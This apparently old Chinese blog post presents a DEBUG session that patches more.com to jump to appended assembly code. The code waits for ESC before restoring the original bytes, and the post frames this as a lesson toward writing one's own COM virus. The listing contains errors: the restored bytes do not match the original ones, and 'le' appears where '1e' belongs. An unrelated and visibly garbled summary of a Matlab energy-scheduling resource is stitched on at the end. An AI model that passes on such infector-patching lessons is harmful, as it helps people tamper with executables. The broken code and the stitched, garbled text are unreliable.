病毒的编制关键技术(2)

本文介绍了一个简单的COM病毒编写过程:通过修改程序起始指令跳转到病毒模块,等待用户按下ESC键后恢复原始指令并执行原始程序。此过程展示了基本的病毒行为和技术。
2000年12月01日 14:44:00

  -r
  AX=0000 BX=0000 CX=09F1 DX=0000 SP=FFFE BP=0000 SI=0000 DI=0000
  DS=0CA4 ES=0CA4 SS=0CA4 CS=0CA4 IP=0100 NV UP EI PL NZ NA PO NC
  0CA4:0100 B8371E   MOV   AX,1E37

  -a af1
  0CA4:0AF1 mov ah,0
  0CA4:0AF3 int 16           ;等待按键
  0CA4:0AF5 cmp al,1b         ;等待ESC键
  0CA4:0AF7 jnz af1
  0CA4:0AF9 mov word ptr[100],3fb8   ;恢复程序开始的三个字节
  0CA4:0AFF mov byte ptr[102],le
  0CA4:0B04 push cs           ;进栈CS:100
  0CA4:0B05 mov si,100
  0CA4:0B08 push si
  0CA4:0B09 retf            ;RetF回到CS:100,程序开始处
  0CA4:0B0A

  -a 100
  0CA4:0100 jmp af1          ;将程序开头改成跳转到修改的模块
  0CA4:0103

  -rcx
  CX 09F1
   : a0a

  -w
  Writing  00A0A bytes

  -q

  修改完了,来执行以下more.com,发现什么没有?结果不按ESC键程序无法执行,流程很简单:  1. 把程序开始处的指令修改成了跳转到最后添加的程序位置。  2. 最先执行添加的程序(相当于病毒模块),等待ESC键。  3. 按下ESC键后修改回程序开始的指令,跳转回到开始(执行原始程序)。  好了,如果你能看懂上面这段话,那你离编写自己的com病毒将不会很远了。  


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内容概要:本文介绍了一个基于Matlab的综合能源系统优化调度仿真资源,重点实现了含光热电站、有机朗肯循环(ORC)和电含光热电站、有机有机朗肯循环、P2G的综合能源优化调度(Matlab代码实现)转气(P2G)技术的冷、热、电多能互补系统的优化调度模型。该模型充分考虑多种能源形式的协同转换与利用,通过Matlab代码构建系统架构、设定约束条件并求解优化目标,旨在提升综合能源系统的运行效率与经济性,同时兼顾灵活性供需不确定性下的储能优化配置问题。文中还提到了相关仿真技术支持,如YALMIP工具包的应用,适用于复杂能源系统的建模与求解。; 适合人群:具备一定Matlab编程基础和能源系统背景知识的科研人员、研究生及工程技术人员,尤其适合从事综合能源系统、可再生能源利用、电力系统优化等方向的研究者。; 使用场景及目标:①研究含光热、ORC和P2G的多能系统协调调度机制;②开展考虑不确定性的储能优化配置与经济调度仿真;③学习Matlab在能源系统优化中的建模与求解方法,复现高水平论文(如EI期刊)中的算法案例。; 阅读建议:建议读者结合文档提供的网盘资源,下载完整代码和案例文件,按照目录顺序逐步学习,重点关注模型构建逻辑、约束设置与求解器调用方式,并通过修改参数进行仿真实验,加深对综合能源系统优化调度的理解。
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